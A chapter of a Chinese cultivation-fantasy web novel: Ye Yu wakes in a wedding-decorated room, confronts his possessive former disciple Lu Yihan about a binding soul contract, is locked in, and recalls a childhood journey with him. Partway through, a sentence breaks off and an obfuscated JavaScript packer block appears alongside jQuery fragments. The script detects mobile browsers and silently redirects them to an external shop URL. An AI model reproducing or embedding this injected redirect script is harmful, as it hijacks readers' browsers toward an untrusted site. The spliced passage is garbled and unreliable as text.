文趣网 > 其他小说 > 丹心无羁 > 46.婚事延期
    叶与感觉自己的手臂发麻,本想翻个身平躺过来,背后却有一只小小的手轻轻将他推回原位。意识回笼,身上的痛感愈发明显,他倒吸一口凉气,徐徐睁开眼。

    红色的床帐引入眼帘,身上的盖被摸起来滑滑凉凉的,低头一看,竟是红绸盖被,吓得他连忙坐起身。因为动作幅度太大,牵拉到后背和胸口的伤处,哪怕伤口被缠满绷带,但依旧疼得他蜷起身子嘶声,一阵微风随之从身后扑来。

    他扭头看向自己身后,一对巨大的黑色的翅膀微微舒展。

    “呀,你醒啦!”翅膀后传来软糯的童声,叶与掀开被褥,艰难转过身去,见一女童身着蓝裙,身侧飘着一团松散的黑雾。

    “你是……”叶与踟蹰问道。

    “我叫徐招娣,陆哥哥这几天很忙,让我和晚上云帮着照顾你,你背上有伤,不能压着睡,”说着,她拽住那团黑雾介绍道,“这是我的好朋友晚上云。”

    那团黑雾随即镂出两个眼睛一样的圆,很不情愿打了声招呼:“……你好。”

    叶与见那团没有形体的黑雾一愣,随即问道:“你是鬼修?”

    黑雾咂了咂嘴,答道:“差不多吧。”

    叶与颔首,环视一周,见屋里陈设都是红色的,眉心微蹙,又问:“从、陆忆寒他怎么样了?”

    “他小子好得很。”晚上云忽然涨大一圈又缩回去,似乎是伸了个懒腰,飘飘悠悠落入徐招娣怀里。

    叶与松了口气,又看着屋里挂满的红布红绸,颔首问道,“这些是……?”

    “好看吧,”徐招娣笑眯眯答道,“陆哥哥说是为成婚准备的。”

    “成、成什么?”叶与从床上弹起来,抽痛得面容扭曲,一对翅膀相当不协调地胡乱扑腾。

    黑雾中探出一只漆黑的小爪子,扯着徐招娣的脸蛋蹂躏,颇感无语:“小招娣啊小招娣,你看你,把他都给吓成黑毛鸡了。”

    “我得去寻他……”叶与左右在地上找不到鞋,干脆赤脚朝门口奔去。

    木门突然被拉开,叶与没来得及看清是谁就一头撞了上去。那胸膛坚实,撞得他头昏眼花,身形不稳地退了半步,一只沉稳有力的手拢在他腰后,不由分说将他勾进自己怀里。

    “小孩子不能看这个。”晚上云咂舌,钻进徐招娣体内,二话不说翻窗走人。

    叶与这才看清眼前的人,华贵的黑袍以金丝勾边,赤红的火纹盘踞在衣角,腰间金饰玉器叮当。棕褐色的碎发垂在额前,左眼缠着绷带,右眼红瞳剔透闪烁,剑眉星目,张扬又明媚地冲他一笑:“你终于醒了。”

    熟悉的面容让叶与回忆起秘境里的事,他焦急地攥起陆忆寒的衣襟问道:“我们这是从秘境出来了?左修然怎么样了!”

    闻言,陆忆寒的神情肉眼可见地垮了下去,垂了神色答道:“是,左师伯性命无虞,蔡师伯将他带回天玄派医治了。”

    “没事就好,”叶与松了口气,这才注意到他脸上绷带,“你的眼睛怎么了?”

    陆忆寒又喜笑颜开,像是晚秋回温,被骗得盛开的花:“无碍,师父你可还有哪里不适?”

    叶与噎了声,垂下目光,似在思虑。

    “我说过,我不是你师父,”他抿起唇,不动神色往后挪了半步,“况且你我并不熟识。”

    “你的容貌不曾被夷骨百筑改变过,我已寻医师瞧过了,”陆忆寒心头涌上酸涩感,沉声道,“如果师父觉得这不算证据,那么——”

    叶与不觉得他能悄无声息探入自己的识海而不被自己发现,轻轻蹙起眉头,等他所谓的证据。

    陆忆寒松开叶与的手,转而抚上叶与胸口,食指微抬,滑向他的脖颈,霎时,叶与脖颈处浮现出一圈金色的咒文。咒文缓缓从他的肌肤揭下,化作一圈金光绕着他脖颈漂浮,好似一道枷锁。

    叶与微微一怔,随即抓向那道光圈,可他的手径直穿过金光咒文,根本无法触及。

    “这是什么?!”叶与不知所措地瞪大眼睛望向陆忆寒。

    陆忆寒淡然一笑,右眼红瞳眨了眨,将手移至自己的脖颈处,不一会,同样的金色咒文绕着他脖颈旋转。

    “是魂契,徒儿生生世世都要同师父绑在一起的,”陆忆寒牵起叶与的双手,十指不择手段地挤进他指缝间,握了个二十指相扣,“魂契需要经由识海链接,比起本源,魂契才是辨别一人的最佳手段,哪怕师父是夺舍重生,只要识海尚存,魂契依旧起效。”

    叶与竟不知他何时与自己结下魂契,漆黑的瞳孔颤了颤,神情愈发凝重。此契一旦结下,生生世世无法磨灭,二人命运缠结,福祸尚未可知,要命的是此契还会反噬结契人,小则心脉受损,大则因果业障齐齐应验,死状凄惨。

    “你入魔竟是为了学这些东西?”叶与一时震怒,要将手抽出来,见陆忆寒纹丝不动,便狠狠踩在他脚上。

    “师父都可是想起来了?”陆忆寒眼眶通红,仿佛没有知觉,将他的手握得更紧,。

    “松手,我不知道你在说什么!”叶与呵道。

    陆忆寒吃痛地拧起眉心,眼角湿漉漉地垂着泪光,摇了摇头:“入魔之前徒儿便与师父结下此契,未曾后悔。”

    “……松开。”叶与眉头紧锁,丝毫未见气消。

    陆忆寒这回乖乖松了手,叶与也收了脚。

    “徐招娣说,这一屋子的红绸红被都是为成婚准备的。”

    “师父在乾门关答应过我的。”

    “谁?——谁知道你是不是信口雌黄。且不论我是否是你师父,就算答应你,你如此执念于我的躯壳,当真觉得这是爱?”叶与神情平静,意有所指,“那个被你派去雪月楼看护我的侍卫,容貌与我有四五分相像,你这些话怎么不对他说?”

    “是因为他还不够像吗?”叶与冲他投去一抹笑,目光中满是失望,“明知你师父身陨,却还自欺欺人地找来一个又一个与之容貌相仿之人侍奉你左右,你觉得这是爱?”

    “我从未——”

    叶与打断他的解释:“我要去天玄派。”

    “不行。”

    “为何不行?”叶与拔高语调,势要压他一头。

    陆忆寒不为所动,答道:“师父现在不想成亲,此事可以暂缓,若你要回修真界,那里不比魔域安全。”

    “什么意思?”

    “师父离开后,人族大败,两族再次议和,以天衍宗为首的千门百派让出一座灵矿脉,法器宝物千余件,每年上供灵丹百万枚,还有……金丹修士百人,供天魔殿炼制血灵丹。”

    叶与眉头紧锁,陆忆寒紧接着又道:“他们都将这一切的罪名安在天玄派头上,说,若非乾门关一战,师父和左师伯失利……后来我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17879622|208277||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    便常年居住在魔域,听到的也只是些细碎的流言风语。”

    “……天玄派早已是众矢之的,黄师姐前些年也遭人陷害入了魔,江师姐失踪,白师兄回到风波谷,萧师伯无情道破,门派也不剩几个人了。”

    叶与不知如今天玄派竟已是这般境地,他阖上眼,不肯松口:“我与左仙师已经商议好,我要去天玄派。”

    “师父就这么不愿意留在我身边?!”陆忆寒突然暴怒,双手捏住叶与的肩,须臾,他又连忙松开手,捂住自己那只用绷带缠起的左眼,他似是要泣下泪来,道,“也罢……师父本就改是自由身,只是修真界动荡,待铲除天衍宗,孽徒便带着师父回天玄派请罪。”

    “铲除天衍宗?”叶与面色凝重,“我听说天衍宗有那天命之子玄一道,他手中八卦盘可引雷劫,岂是你想铲除便能铲除的?”

    “师父不必担心。”说罢,他忙不迭地转身,拂袖将叶与关在屋内,脚步声紧凑,逐渐远去。

    叶与推了推门,木门纹丝不动,上面附着着魔气。

    他静静回到床榻边坐着,低头看见自己腰腹间缠得熨帖的绷带,身上只搭了件松松垮垮的素色中衣。陆从安这伤口当真是处理得越来越熟练了。

    他忽的想起陆忆寒幼时跟自己外出游历的模样,自己分明再三嘱咐让他留在雪月楼好好修炼,没成想一出门派就发现有个小尾巴跟在身后。

    那时,陆忆寒刚入练气期,小小的身板背着白雪剑跟在他身后,咿咿呀呀“师父师父”地唤。他们穿过修真界与人间的屏障,一路向北来到人间,那里与修真界只一墙之隔,有大片大片的青山。

    一师一徒行走山间,二人听风饮露。陆忆寒走不惯山路,又不好意思让他背着走,倔强的孩子跟在自己身后累得满头大汗,一个不留神便一骨碌摔倒山底下去了。

    好在二人没爬多高,陆忆寒撑开护体晚了半步,摔伤了一条腿。

    “痛不痛?”叶与抱着他打趣道。

    陆忆寒鼓着脸闷闷地摇头,硬是一声不吭,小扇子般的睫毛被泪水打湿。

    叶与将他安置到平坦的地面,手探入衣襟里摸索乾坤袋中的绷带创药。

    叶与捻着药瓶轻点瓶身,在伤口撒上药粉,陆忆寒便熟练地拿过绷带自己缠起来,包得漂亮又妥帖。

    “倒是比你百草居那些师兄师姐处理得还漂亮。”叶与刮了刮他的鼻尖,扶着他的手轻轻将他带起。

    陆忆寒得了夸奖,一时得意忘形,腿一蹬,又嗷嗷叫唤起来。

    叶与失笑,抬掌覆上他的腿,替他渡去冰凉的灵气:“不是说不痛吗?”

    “可是每次受伤后说痛,伤口就越痛,说不痛反而好受些,”陆忆寒小声解释道,“以前饿肚子的时候也是,只要一直说‘不饿不饿’,真的就没那么饿了。”

    “想要什么就默念什么,念多了好像就会成真。”

    叶与一怔,心疼地揉了揉陆忆寒毛绒绒的棕脑袋。

    他想起陆忆寒生父于他幼时一去不归,那时的他是否也在无数个日夜里默念,默念他父亲早日归来,将他带走。

    见叶与不说话,陆忆寒拽了拽他的袖袍,有些羞赧地抿起唇,抬起手挡在嘴边,朝叶与悄声说道:“所以我每天晚上都会念 ‘要一直跟师父在一起’,等第二天醒来,师父果然还在我身侧。”